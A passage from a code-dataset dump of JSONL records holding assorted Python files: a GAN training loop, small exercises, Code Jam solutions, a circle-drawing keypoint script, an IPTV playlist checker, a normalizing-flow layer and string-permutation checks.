optimizer, loss, best_val_loss, args, discriminator, optimizer_discriminator, video_discriminator, optimizer_video_discriminator, best_model=False)\n # model_artifact = wandb.Artifact('last_model_train', type='model')\n # model_artifact.add_file(save_dir)\n # wandb.log_artifact(model_artifact)\n \n # Update learning rates\n lr_scheduler.step()\n if args.use_discriminator:\n lr_scheduler_discr.step()\n if args.use_video_discriminator:\n lr_scheduler_video_discr.step()\n \n # Validation\n if args.val_every != 0 and epoch % args.val_every == 0 and epoch > 0:\n print('Validating epoch: ', epoch)\n val_loss = 0\n count = 0\n metrics_fn.reset()\n\n with torch.no_grad():\n network.eval()\n for batch_idx, data in enumerate(val_loader):\n\n inputs = data[\"input_image\"].to(device)\n labels = data[\"output_image\"].to(device)\n\n prediction = network(inputs)\n\n # compute metrics\n metrics_fn.update(prediction, labels)\n\n # compute losses\n loss_perceptual_val = loss_fn(prediction, labels)\n loss_val = loss_perceptual_val\n\n if args.use_video_discriminator and epoch>start_train_disc:\n\n pred_real_val = video_discriminator(labels.unsqueeze(0))\n loss_video_real_val = loss_gan_fn(pred_real_val, real_image_flag=True)\n \n pred_fake_val = video_discriminator(prediction.unsqueeze(0))\n loss_video_fake_val = loss_gan_fn(pred_fake_val, real_image_flag=False)\n\n loss_video_discriminator_val = (loss_video_real_val + loss_video_fake_val)*0.5\n\n loss_gan_video_val = loss_gan_fn(pred_fake_val, real_image_flag=True)\n \n loss_val += loss_gan_video_val * args.loss_gan_video_weight\n \n val_loss += loss_val.detach()\n count += 1\n\n avg_val_loss = val_loss/count\n\n metrics_log, metrics_combined = metrics_fn.compute()\n\n if not args.skip_log:\n if args.save_val_images:\n image_concat = create_image_pair([inputs.detach(), prediction.detach(), labels.detach()])\n wandb_images = [wandb.Image(image) for image in image_concat]\n wandb.log({'val loss': avg_val_loss, 'validation images predictions': wandb_images}, step=step)\n wandb.log(metrics_log, step=step)\n wandb.log({'metrics_combined': metrics_combined}, step=step)\n\n else: \n wandb.log({'val loss': avg_val_loss}, step=step)\n wandb.log(metrics_log, step=step)\n wandb.log({'metrics_combined': metrics_combined}, step=step)\n\n save_dir = save_model(network, 'latest_GAN_model', optimizer, loss, best_val_loss, args, discriminator, optimizer_discriminator, video_discriminator, optimizer_video_discriminator, best_model=False)\n # model_artifact = wandb.Artifact('last_model_train', type='model')\n # model_artifact.add_file(save_dir)\n # wandb.log_artifact(model_artifact)\n","repo_name":"mediatechnologycenter/AvatarForge","sub_path":"motion-gan-pipeline/ImageToImage/train_temporal.py","file_name":"train_temporal.py","file_ext":"py","file_size_in_byte":23588,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"24080424294","text":"# Define a function with takes two dictionaries as parameters and merge them and sum the values of common keys.\r\n\r\ndict1 = {'a': 1, 'b': 2, 'c': 3}\r\ndict2 = {'b': 3, 'c': 4, 'd': 5}\r\n\r\ndef mergeDicts(dict1, dict2):\r\n merged = dict1.copy()\r\n for item in dict2:\r\n if item in merged:\r\n merged[item] += dict2.get(item)\r\n else:\r\n merged[item] = dict2.get(item)\r\n return merged\r\n\r\n\r\nprint(mergeDicts(dict1, dict2))","repo_name":"shollet/Python-Exercises","sub_path":"3. Dictionary/mergeDicts/mergeDicts.py","file_name":"mergeDicts.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9570505178","text":"n=int(input()) #25173917\nl=list(map(int,input().split()))\ns=0\nc=0\nfor i in range(0,n-1,2): # 0 2 4 6 8 \n if(l[i]>l[i+1]):\n s+=1\n else:\n c+=1\nif(s==n//2 or c==n//2):\n print(\"yes\")\nelse:\n print(\"no\")","repo_name":"Sudheer0581/codemind-python","sub_path":"Wave_array.py","file_name":"Wave_array.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"23568520041","text":"from collections import defaultdict\nfrom functools import lru_cache\n\n\n@lru_cache(maxsize=None)\ndef prepare(N):\n if N == 0:\n # If no stalls left empty, we have no choices\n return []\n if N == 4:\n # 4 is special in some way\n return [((2, 1), 1), ((1, 0), 1), ((0, 0), 2)]\n choices = []\n rem = (N - 1) // 2\n if (N % 2) == 0:\n # We have two middle options\n choices.append(((rem, rem + 1), 1))\n # if (rem % 2) == 0:\n # choices.append(((rem // 2, rem // 2), 1))\n # choices += prepare(rem)\n # rec = prepare(rem // 2)\n # for ((a, b), c) in rec:\n # choices.append(((a, b), c * 2))\n choices += prepare(rem)\n choices += prepare(rem + 1)\n else:\n # We have one middle option\n choices.append(((rem, rem), 1))\n rec = prepare(rem)\n for ((a, b), c) in rec:\n choices.append(((a, b), c * 2))\n return choices\n\n\ndef combine(arr):\n res = defaultdict(lambda: 0)\n for ((a, b), v) in arr:\n res[min(a, b), max(a, b)] += v\n return res\n\n\ndef choices(N):\n return combine(prepare(N))\n\n\ndef solve(N, K):\n chc = choices(N)\n used = 0\n for k in (reversed(sorted(chc.keys()))):\n cnt = chc[k]\n used += cnt\n if used >= K:\n return \"{} {}\".format(k[1], k[0])\n\nif __name__ == \"__main__\":\n T = int(input())\n for I in range(1, T+1):\n n, k = [int(x) for x in input().split()]\n print(\"Case #{}: {}\".format(I, solve(n, k)))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_201/1831.py","file_name":"1831.py","file_ext":"py","file_size_in_byte":1540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41765541397","text":"import sys\nimport math\nfrom tkinter import W\nsys.path.remove('/opt/ros/kinetic/lib/python2.7/dist-packages')\nimport cv2 as cv \nfrom matplotlib import pyplot as plt\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\n##1.浮点算法:Gray=R*0.3+G*0.59+B*0.11\n\n##2.整数方法:Gray=(R*30+G*59+B*11)/100\n\n##3.移位方法:Gray =(R*28+G*151+B*77)>>8\n\n#implement circle \n#(0,0,0) ---> BGR representation\nimg = cv.imread('cones/im2.png',cv.IMREAD_COLOR)\nprint(sum((img[0][0][2]*0.297,img[0][0][1]*0.584,img[0][0][0]*0.144)))\nimg = cv.imread('cones/im2.png',cv.IMREAD_GRAYSCALE)\nprint((img[0][0]))\n\n\n#best practices : bresenham algorithm to draw cricle but we use a simple bounding box way\nradius = 5\n\nindices = [[0 for c in range(0,radius*2+1)] for r in range(0,radius*2+1)]\n\n#range: colse for left, open for right math ------> [-radius,radius)\nfor i in range(-radius,radius+1):\n for j in range(-radius,radius+1):\n #print(i+radius,j+radius)\n indices[i+radius][j+radius] = (-i,-j)\nprint(indices)\n\nprint(img.shape)\nrows,cols = img.shape\n\n# check whether the point is inside the circle \ndef is_inside_circle(delta_x, delta_y):\n if radius * radius >= delta_x * delta_x + delta_y * delta_y :\n return True \n\nminimum_boundary_point = 5\n\n# find circle algorithm 1: midpoint\ndef find_circle_boundary(radius):\n boundary_points = set()\n for delta_y in range(0,radius):\n delta_x = math.sqrt(radius*radius - delta_y * delta_y)\n delta_x = math.floor(delta_x)\n # Todo: need to add index to mantain the consistency \n # up \n boundary_points.add((delta_x, delta_y)) \n boundary_points.add((-delta_x, delta_y)) \n # down \n boundary_points.add((delta_x, -delta_y)) \n boundary_points.add((-delta_x, -delta_y)) \n print(\"boundary points side {0}\".format(len(boundary_points)))\n # Todo : must bigger than minimun boundary points\n return boundary_points\n\n\n1.#Set initial values of (xc, yc) and (x, y)\n2.#Set decision parameter d to d = 3 – (2 * r). \n# \n3.#call drawCircle(int xc, int yc, int x, int y) function.\n4.#Repeat steps 5 to 8 until x < = y\n5.#Increment value of x.\n6.#If d < 0, set d = d + (4*x) + 6\n7.#Else, set d = d + 4 * (x – y) + 10 and decrement y by 1.\n8.#call drawCircle(int xc, int yc, int x, int y) function\n\n#if (d < 0) {\n#d += 2 * x + 1; /* go East */\n#} else {\n#y--;\n#d += 2 * (x – y) + 1; /* go SouthEast */\n\ndef init_decision(radius):\n d = 3 - 2*radius\n return d\n\n# may use callback to evalute labels id \ndef adding_boundary_point(center_point,x,y,boundary_points):\n xc,yc = center_point\n boundary_points.append([xc+x,yc+y,0])\n boundary_points.append([xc+y,yc+x,1])\n boundary_points.append([xc+y,yc-x,2])\n boundary_points.append([xc+x,yc-y,3])\n boundary_points.append([xc-x,yc-y,4])\n boundary_points.append([xc-y,yc-x,5])\n boundary_points.append([xc-y,yc+x,6])\n boundary_points.append([xc-x,yc+y,7])\n return boundary_points\n\n\n# find circle_algorithm 2: bresenham' algorithm \ndef find_circle_boundary2(center_point, radius):\n d = init_decision(radius)\n x = 0\n y = radius\n boundary_points = []\n adding_boundary_point(center_point,x,y,boundary_points)\n while x <= y:\n x = x + 1\n if (d<0):\n d = d + 4*x + 6 \n else:\n y = y -1\n d = d + (x-y)*4 + 10\n adding_boundary_point(center_point,x,y,boundary_points)\n return boundary_points\n\n# return points list within point[x,y,group_number, labels to make sure consecutive]\ndef add_labels(boundary_points):\n count = 0\n for boundary_point in boundary_points:\n #print(boundary_point[2])\n if (boundary_point[2] == 0):\n count += 1 \n boundary_points_with_labels = []\n boundary_points.sort(key=lambda x:x[2])\n for i,boundary_point in enumerate(boundary_points):\n boundary_points_with_labels.append([boundary_point[0],boundary_point[1],boundary_point[2],i+(boundary_point[2]*count)])\n boundary_points_with_labels.sort(key=lambda x:x[3])\n return boundary_points_with_labels\n \ndef clamp(img,point):\n rows,cols,depth = img.shape\n # pixel based coordinates: y for rows and x for cols \n x = point[0]\n x = max(0,x)\n x = min(cols-1,x)\n y = point[1]\n y = max(0,y)\n y = min(rows-1,y)\n return x,y \n\n# unit test:\ndef test_function_extraction(boundarypoints1, boundarypoints2):\n if boundarypoints1 == boundarypoints2:\n return True \n return False\n\ndef dump_cricle(radius):\n #boundary_points = find_circle_boundary(10)\n point = [50,50]\n boundary_points = find_circle_boundary2(point,radius)\n print(boundary_points)\n img = np.zeros([100,100,3],dtype=np.uint8)\n img.fill(255) # or img[:] = 255\n boundary_points_with_labels = add_labels(boundary_points)\n for boundary_point in boundary_points_with_labels:\n draw_point = [boundary_point[0],boundary_point[1]]\n col,row = clamp(img,draw_point)\n #img[row,col] = boundary_point[3]%255 \n # this is the proof: make sure labels are consecutive and we can observe this with human eyes \n img[row,col] = 0 \n if boundary_point[3] ^ 1 == boundary_point[3] +1:\n img[row,col] = 255 \n plt.imshow(img), plt.show()\n\n\n# using circle to slide image to search keypoints\n#def find_keypoints(boundary_points):\n\n# iterate the image array \n#boundary_points = set() \n#boundary_points = find_circle_boundary(radius)\n#descriptors = []\n#for i in range(0,rows):\n #for j in range(0,cols):\n #current_pixel_value = img[i][j]\n #pixels = []\n #for point in boundary_points:\n #point = [i+point[0], j+point[1]]\n #col,row = clamp(img,point)\n #pixels.append(img[row][col])\n #if (len(pixels) < 10):\n #continue\n #count = 0\n ## Todo: contiguous pixel point\n #for pixel in pixels:\n #if pixel > current_pixel_value:\n #count += 1\n #if count > len(pixels)/2 :\n #descriptors.append((i,j)) \n\n#print(img.shape[0]*img.shape[1])\n#print(len(descriptors))\n\ndump_cricle(30)\n \n \n \n \n \n\n\n #print(i,j)\n\n#plt.imshow(img) , plt.show()\n\n\n\n","repo_name":"fly-duck/raw_descriptor","sub_path":"raw_descriptor.py","file_name":"raw_descriptor.py","file_ext":"py","file_size_in_byte":6241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43105252985","text":"import sys\ninput = sys.stdin.readline\nfrom collections import deque\n#dp + bfs\n\ndp = [-1 for _ in range(100001)]\nq = deque()\nN, K = map(int, input().strip().split())\nq.append([N, 0])\nwhile(q):\n pos, cnt = q.popleft()\n if pos == K:\n print(cnt)\n break\n if pos*2 <= 100000 and (dp[pos*2] == -1 or dp[pos*2] > cnt+1):\n dp[pos*2] = cnt+1\n q.append([pos*2,cnt+1])\n if pos+1 <= 100000 and (dp[pos+1] == -1 or dp[pos+1] > cnt+1):\n dp[pos+1] = cnt+1\n q.append([pos+1, cnt+1])\n if 0 <= pos-1 and (dp[pos-1] == -1 or dp[pos-1] > cnt+1):\n dp[pos-1] = cnt+1\n q.append([pos-1, cnt+1])","repo_name":"remerer/AlgorithmStorage","sub_path":"Solved/1697.py","file_name":"1697.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31953634584","text":"#!/usr/bin/env python3\n\nimport tensorflow as tf\nfrom TFGENZOO.flows.flowbase import FactorOutBase\nfrom TFGENZOO.flows.utils import gaussianize\nfrom TFGENZOO.flows.utils.util import split_feature\nfrom TFGENZOO.flows.utils.conv_zeros import Conv2DZeros\nfrom typing import Tuple\n\n\nclass Conv1DZeros(tf.keras.layers.Layer):\n def __init__(\n self,\n width_scale: int = 2,\n kernel_initializer=\"zeros\",\n kernel_size: int = 3,\n logscale_factor: float = 3.0,\n ):\n super().__init__()\n self.width_scale = width_scale\n self.kernel_size = kernel_size\n self.initializer = kernel_initializer\n self.logscale_factor = logscale_factor\n\n def get_config(self):\n config = super().get_config()\n config_update = {\n \"width_scale\": self.width_scale,\n \"kernel_initializer\": tf.keras.initializers.serialize(\n tf.keras.initializers.get(self.initializer)\n ),\n \"kernel_size\": self.kernel_size,\n }\n config.update(config_update)\n return config\n\n def build(self, input_shape: tf.TensorShape):\n n_in = input_shape[-1]\n n_out = n_in * self.width_scale\n self.kernel = self.add_weight(\n name=\"kernel\",\n initializer=self.initializer,\n shape=[self.kernel_size] + [n_in, n_out],\n dtype=tf.float32,\n )\n self.bias = self.add_weight(\n name=\"bias\",\n shape=[1 for _ in range(len(input_shape) - 1)] + [n_out],\n initializer=\"zeros\",\n )\n self.logs = self.add_weight(\n name=\"logs\", shape=[1, n_out], initializer=self.initializer\n )\n super().build(input_shape)\n\n def call(self, x: tf.Tensor):\n x = tf.nn.conv1d(x, filters=self.kernel, stride=1, padding=\"SAME\")\n x += self.bias\n x *= tf.exp(self.logs * self.logscale_factor)\n return x\n\n\nclass FactorOutWithMask(FactorOutBase):\n \"\"\"Basic Factor Out Layer\n\n This layer drops factor-outed Tensor z_i\n\n Note:\n\n * forward procedure\n | input : h_{i-1}\n | output : h_{i}, loss\n |\n | [z_i, h_i] = split(h_{i-1})\n |\n | loss =\n | z_i \\sim N(0, 1) if conditional is False\n | z_i \\sim N(mu, sigma) if conditional is True\n | ,where\n | mu, sigma = Conv(h)\n\n * inverse procedure\n | input : h_{i}\n | output : h_{i-1}\n |\n | sample z_i from N(0, 1) or N(mu, sigma) by conditional\n | h_{i-1} = [z_i, h_i]\n \"\"\"\n\n def build(self, input_shape: tf.TensorShape):\n self.split_size = input_shape[-1] // 2\n super().build(input_shape)\n\n def __init__(self, with_zaux: bool = False, conditional: bool = False):\n super().__init__()\n self.with_zaux = with_zaux\n self.conditional = conditional\n if self.conditional:\n self.conv = Conv1DZeros(width_scale=2)\n\n def get_config(self):\n config = super().get_config()\n config_update = {}\n if self.conditional:\n config_update = {\n \"conditional\": self.conditional,\n \"conv\": self.conv.get_config(),\n }\n else:\n config_update = {\"conditional\": self.conditional}\n config.update(config_update)\n return config\n\n def split2d_prior(self, z: tf.Tensor):\n h = self.conv(z)\n return split_feature(h, \"cross\")\n\n def calc_ll(self, z1: tf.Tensor, z2: tf.Tensor, mask_tensor: tf.Tensor = None):\n \"\"\"\n Args:\n z1 (tf.Tensor): [B, T, C // 2]\n z2 (tf.Tensor): [B, T, C // 2]\n \"\"\"\n with tf.name_scope(\"calc_log_likelihood\"):\n if self.conditional:\n mean, logsd = self.split2d_prior(z1)\n ll = gaussianize.gaussian_likelihood(mean, logsd, z2)\n else:\n ll = gaussianize.gaussian_likelihood(\n tf.zeros(tf.shape(z2)), tf.zeros(tf.shape(z2)), z2\n )\n # ll is [B, T, C // 2]\n if mask_tensor is not None:\n ll *= mask_tensor\n ll = tf.reduce_sum(ll, axis=list(range(1, len(z2.shape))))\n return ll\n\n def forward(self, x: tf.Tensor, zaux: tf.Tensor = None, mask=None, **kwargs):\n if mask is not None:\n mask_tensor = tf.expand_dims(tf.cast(mask, tf.float32), axis=[-1])\n else:\n mask_tensor = None\n with tf.name_scope(\"split\"):\n new_z = x[..., : self.split_size]\n x = x[..., self.split_size :]\n\n ll = self.calc_ll(x, new_z, mask_tensor=mask_tensor)\n\n if self.with_zaux:\n zaux = tf.concat([zaux, new_z], axis=-1)\n else:\n zaux = new_z\n return x, zaux, ll\n\n def inverse(\n self,\n z: tf.Tensor,\n zaux: tf.Tensor = None,\n mask=None,\n temparature: float = 0.2,\n **kwargs\n ):\n if zaux is not None:\n new_z = zaux[..., -self.split_size :]\n zaux = zaux[..., : -self.split_size]\n else:\n # TODO: sampling test\n mean, logsd = self.split2d_prior(z)\n new_z = gaussianize.gaussian_sample(mean, logsd, temparature)\n z = tf.concat([new_z, z], axis=-1)\n if self.with_zaux:\n return z, zaux\n else:\n return z\n","repo_name":"MokkeMeguru/Flow-TTS-Flow","sub_path":"utils/factor_out.py","file_name":"factor_out.py","file_ext":"py","file_size_in_byte":5475,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"35327868429","text":"import os\nList1=[8,9,3,6,1,10]\nList1.reverse()\nprint(\"reversedList=\",List1)\n\nList2=[91,67,120,34,76,54,78,87,56,64,345]\nList2.sort()\nprint(\"sortedList=\",List2)\n\nList3=[]\nList3=List1.copy()\nprint(\"List3=\",List3)\n\nindexValue=List2[2:6]\nprint(\"theIndexValue=\",indexValue)","repo_name":"SaraALMOURABETI/SimpleProject","sub_path":"PythonPrgrm.py","file_name":"PythonPrgrm.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72844629954","text":"#!/usr/bin/env python3\n\nimport m3u8\nimport os\nimport re\nimport traceback\nfrom ffmpy import FFprobe\nfrom urllib.error import HTTPError\nfrom subprocess import PIPE\nfrom sys import stdout\nfrom termcolor import colored, RESET\n\n\n__all__ = ['check_playlist', 'check_channel']\n\n\nERASE_LINE = '\\033[K'\n\nSKIP_FFPROBE_MESSAGES = [re.compile(pattern) for pattern in (\n\t'Last message repeated',\n\t'mmco: unref short failure',\n\t'number of reference frames .+ exceeds max',\n)]\n\n\ndef check_channel(channel, verbose=False):\n\ttitle = channel.title\n\n\tdef print_failed():\n\t\tprint('\\r{}{:22} {}'.format(ERASE_LINE, title, colored('FAILED', 'red', attrs=['bold'])))\n\n\ttry:\n\t\tprint('{:22} checking'.format(title), end='')\n\t\tstdout.flush()\n\t\tchannel_uri = channel.absolute_uri\n\t\ttry:\n\t\t\tchannel_playlist = m3u8.load(channel_uri)\n\t\texcept HTTPError as error:\n\t\t\tprint_failed()\n\t\t\tif verbose:\n\t\t\t\tprint(colored(channel_uri, 'red'))\n\t\t\t\tprint(error)\n\t\t\t\tprint()\n\t\t\treturn False\n\n\t\tsegment_uri = channel_playlist.segments[-1].absolute_uri\n\t\tffprobe = FFprobe(inputs={segment_uri: '-v warning'})\n\t\terrors = tuple(filter(\n\t\t\tlambda line: not (line in ('', RESET) or any(regex.search(line) for regex in SKIP_FFPROBE_MESSAGES)),\n\t\t\tffprobe.run(stderr=PIPE)[1].decode('utf-8').split('\\n')\n\t\t))\n\t\tif errors:\n\t\t\tprint_failed()\n\t\t\tif verbose:\n\t\t\t\tprint(colored(channel_uri, 'green'))\n\t\t\t\tprint(colored(segment_uri, 'red'))\n\t\t\t\tprint('\\n'.join(errors))\n\t\t\t\tprint('' if os.getenv('ANSI_COLORS_DISABLED') else RESET)\n\t\t\treturn False\n\texcept KeyboardInterrupt as interrupt:\n\t\traise interrupt\n\texcept:\n\t\tprint_failed()\n\t\tif verbose:\n\t\t\ttraceback.print_exc()\n\t\treturn False\n\n\tprint('\\r{}{:22} {}'.format(ERASE_LINE, title, colored('OK', 'green', attrs=['bold'])))\n\treturn True\n\n\ndef check_playlist(playlist_uri, stop_on_fail=False, verbose=False):\n\twith open(playlist_uri) as playlist_file:\n\t\tplaylist_data = re.sub(' cn-id=.+,', ',', playlist_file.read())\n\tplaylist = m3u8.loads(playlist_data)\n\tall_ok = True\n\tfor channel in playlist.segments:\n\t\tresult = check_channel(channel, verbose)\n\t\tstdout.flush()\n\t\tif stop_on_fail:\n\t\t\tif not result:\n\t\t\t\treturn False\n\t\telse:\n\t\t\tall_ok &= result\n\treturn all_ok\n\n\ndef main(args):\n\tif args.verbose:\n\t\tif os.getenv('ANSI_COLORS_DISABLED') is None:\n\t\t\tos.putenv('AV_LOG_FORCE_COLOR', '1')\n\ttry:\n\t\tif check_playlist(args.playlist_uri, args.stop_on_fail, args.verbose):\n\t\t\treturn 0\n\texcept KeyboardInterrupt:\n\t\tprint()\n\treturn 1\n\n\nif __name__ == '__main__':\n\tfrom argparse import ArgumentParser\n\tparser = ArgumentParser(description='IPTV playlist checker.')\n\tparser.add_argument('playlist_uri', type=str, help='playlist for check')\n\tparser.add_argument(\n\t\t'-s', '--stop-on-fail', dest='stop_on_fail', action='store_true', default=False, help='stop on first fail')\n\tparser.add_argument(\n\t\t'-v', '--verbose', dest='verbose', action='store_true', default=False, help='print additional info on fail')\n\texit(main(parser.parse_args()))\n","repo_name":"Jamim/iptv-checker","sub_path":"iptv-checker.py","file_name":"iptv-checker.py","file_ext":"py","file_size_in_byte":2923,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"61"} +{"seq_id":"8149891836","text":"\"\"\"\nIs Permutation: Given two strings_n_arrays, write a method to decide if one is a permutation of the other.\n\nAuthor: Fuzzy Carter\n\"\"\"\n\nfrom function_timer import function_timer\n\n\n@function_timer\ndef is_permutation_ordinal_sum(s1: str, s2: str) -> bool:\n \"\"\"\n Check if is permutation by comparing the sum of the ordinal values of each character in the string.\n\n Time Complexity: O(n)\n Space Complexity: O(1)\n\n :param s1: The first string to compare.\n :param s2: The second string to compare.\n :return: True if the strings_n_arrays are permutations of each other.\n \"\"\"\n\n if len(s1) != len(s2):\n return False\n\n sum1 = 0\n sum2 = 0\n\n for i in range(len(s1)):\n sum1 += ord(s1[i])\n sum2 += ord(s2[i])\n\n return sum1 == sum2\n\n\n@function_timer\ndef is_permutation_string_minus_string(s1: str, s2: str) -> bool:\n \"\"\"\n Check if is permutation by subtracting one string from the other.\n\n Time Complexity: O(n)\n Space Complexity: O(1)\n\n :param s1: The first string to compare.\n :param s2: The second string to compare.\n :return: True if the strings_n_arrays are permutations of each other.\n \"\"\"\n\n if len(s1) != len(s2):\n return False\n\n result = sum(map(ord, s1)) - sum(map(ord, s2))\n\n return result == 0\n\n\n@function_timer\ndef is_permutation_string_equal_string(s1: str, s2: str) -> bool:\n \"\"\"\n Check if is permutation by comparing the strings_n_arrays.\n\n Time Complexity: O(n log(n))\n Space Complexity: O(1)\n\n \n :param s1: The first string to compare.\n :param s2: The second string to compare. \n :return: True if the strings_n_arrays are permutations of each other.\n \"\"\"\n\n if len(s1) != len(s2):\n return False\n\n return sorted(s1) == sorted(s2)\n\n\n@function_timer\ndef is_permutation_character_count(s1: str, s2: str) -> bool:\n \"\"\"\n Check if is permutation by counting the characters.\n\n Time Complexity: O(n)\n Space Complexity: O(1)\n\n :param s1: The first string to compare.\n :param s2: The second string to compare.\n :return: True if the strings_n_arrays are permutations of each other.\n \"\"\"\n\n if len(s1) != len(s2):\n return False\n\n char_count = [0] * 128\n\n for char in s1:\n char_count[ord(char)] += 1\n\n for char in s2:\n char_count[ord(char)] -= 1\n if char_count[ord(char)] < 0:\n return False\n\n return True\n\nif __name__ == \"__main__\":\n string_permutation_true_1 = \"abcdefghi\"\n string_permutation_true_2 = \"ihgfedcba\"\n\n string_permutation_false_1 = \"abcdefghi\"\n string_permutation_false_2 = \"ihgfedcbz\"\n\n print(is_permutation_ordinal_sum(string_permutation_true_1, string_permutation_true_2))\n print(is_permutation_ordinal_sum(string_permutation_false_1, string_permutation_false_2))\n\n print(is_permutation_string_minus_string(string_permutation_true_1, string_permutation_true_2))\n print(is_permutation_string_minus_string(string_permutation_false_1, string_permutation_false_2))\n\n print(is_permutation_string_equal_string(string_permutation_true_1, string_permutation_true_2))\n print(is_permutation_string_equal_string(string_permutation_false_1, string_permutation_false_2))\n\n print(is_permutation_character_count(string_permutation_true_1, string_permutation_true_2))\n print(is_permutation_character_count(string_permutation_false_1, string_permutation_false_2))\n","repo_name":"FuzzyCarter/CodeSamples","sub_path":"strings_n_arrays/is_permutation.py","file_name":"is_permutation.py","file_ext":"py","file_size_in_byte":3407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23464877031","text":"# -*- coding: utf8 -*-\r\nfrom __future__ import division # bien vu!!\r\nimport sys\r\nimport time\r\nimport operator\r\nimport math\r\nimport re\r\nfrom fractions import Fraction\r\nfrom multiprocessing import Pool\r\nfrom itertools import *\r\n\r\n#import networkx as nx\r\nfrom random import randint\r\n\r\nprintDebug = True #pour activer le debug dans la ligne de command faites : \"python hello.py -d\"\r\n\r\noutFile = open('output_problem_D.txt', 'w')\r\ninFile = open('D-small-attempt1.in', 'r')\r\n#inFile = open('test.in', 'r')\r\n#inFile = open('final_round.in', 'r')\r\n\r\nclass Input:\r\n\tdef __init__(self):\r\n\t\tself.T = None\r\n\t\tself.A = []\r\n\t\tself.N = []\r\ninput = None\r\n\t\r\ndef solve(X, R, C):\r\n\tif(X == 1) or (X == 2 and (R*C)%2 == 0):\r\n\t\treturn \"GABRIEL\"\r\n\telif (X==2 and (R*C)%2 == 1):\r\n\t\treturn \"RICHARD\"\r\n\telif min(R,C) == 1:\r\n\t\treturn \"RICHARD\"\r\n\t\t\r\n\tcas1 = R==4 and C==4\r\n\tcas2 = R==3 and C ==3\r\n\tcas3 = R==2 and C == 2\r\n\t\r\n\tcas4 = (R==4 and C == 3) or (R==3 and C == 4) \r\n\tcas5 = (R==4 and C == 2) or (R==2 and C == 4)\r\n\tcas6 = (R==3 and C == 2) or (R==2 and C == 3)\r\n\r\n\tif cas1:\r\n\t\tif X == 4:\r\n\t\t\treturn \"GABRIEL\"\r\n\t\telif X == 3:\r\n\t\t\treturn \"RICHARD\"\r\n\telif cas2:\r\n\t\tif X==4:\r\n\t\t\treturn \"RICHARD\"\r\n\t\telif X==3:\r\n\t\t\treturn \"GABRIEL\"\r\n\telif cas3:\r\n\t\tif X==4 or X == 3:\r\n\t\t\treturn \"RICHARD\"\r\n\telif cas4:\r\n\t\tif X==4 or X==3:\r\n\t\t\treturn \"GABRIEL\"\r\n\telif cas5:\r\n\t\tif X==4 or X==3:\r\n\t\t\treturn \"RICHARD\"\r\n\telif cas6:\r\n\t\tif X==4:\r\n\t\t\treturn \"RICHARD\"\r\n\t\telif X==3:\r\n\t\t\treturn \"GABRIEL\"\r\n\telse:\r\n\t\treturn \"GROS PBBB !!!!!!!!!\"\r\ndef main():\r\n\tglobal input\r\n\tinput = Input()\r\n\t# la plupart du temps, les fichier contiennent des listes d'entiers\r\n\t# donc la, on met la liste d'entiers du fichier dans N\r\n\t\r\n\tT = int(inFile.readline())\r\n\tprint(T)\r\n\t\r\n\tfor t in range(T):\r\n\t\t\r\n\t\tX, R, C = [int(x) for x in inFile.readline().split()]\r\n\t\t\r\n\t\t#print(X, R, C)\r\n\t\tres = solve(X, R, C)\r\n\t\t\r\n\t\tprint(\"Case #\" + str(t+1) +\": \" + str(res))\r\n\t\toutFile.write(\"Case #\" + str(t+1) +\": \" + str(res) + \"\\n\")\r\n\t\t\r\ndef worker(o):\r\n return o**3\r\n\r\n\r\ndef startPool(tab):\r\n p = Pool(8)\r\n return p.map(worker, tab)\r\n\r\n\r\n#-------------------------------------------------\r\n\r\ndef debug(m, endLine='\\n'):\r\n if printDebug:\r\n sys.stdout.write(m)\r\n sys.stdout.write(endLine)\r\n\r\nif __name__ == '__main__':\r\n startTime = time.clock()\r\n ret = main()\r\n sys.stdout.flush()\r\n sys.stderr.write(\"Completed in {} seconds.\\n\".format(time.clock() - startTime))\r\n outFile.close()\r\n \r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_158/390.py","file_name":"390.py","file_ext":"py","file_size_in_byte":2451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23447615301","text":"#!/usr/bin/python\n\nimport sys\n\nmem = {}\n\ndef explore(N, S, assignment, k):\n key = \"/\".join(map(str, assignment)) + \"#\" + str(k)\n \n if key in mem:\n return mem[key]\n else:\n e = explore_(N, S, assignment, k)\n mem[key] = e\n return e\n\ndef explore_(N, S, assignment, k):\n if k > 0:\n (gm, gmc) = (0, 0)\n for i in range(N):\n (max, maxcount) = explore(N, S, assignment + [i], k-1)\n if max > gm:\n gm = max\n gmc = maxcount\n elif max == gm:\n gmc += maxcount\n return (gm, gmc)\n else:\n #print(assignment)\n servers = []\n for i in range(N):\n servers.append(set())\n for i in range(M):\n # add string #i and prefixes to server #assignment[i]\n str = S[i]\n for j in range(0, len(str)+1):\n #print(str, str[:j])\n servers[assignment[i]].add( str[:j] )\n count = 0\n for s in servers:\n count += len(s)\n\n #print(servers, count)\n\n return (count, 1)\n\n\nf = sys.stdin\n\nT = int(f.readline())\n\nfor index in range(1, T+1):\n [M, N] = map(int, f.readline().split())\n S = []\n\n for i in range(M):\n S.append(f.readline().strip())\n \n mem = {}\n (max, maxcount) = explore(N, S, [], M)\n #print(mem)\n \n print(\"Case #{}: {} {}\".format(index, max, maxcount % 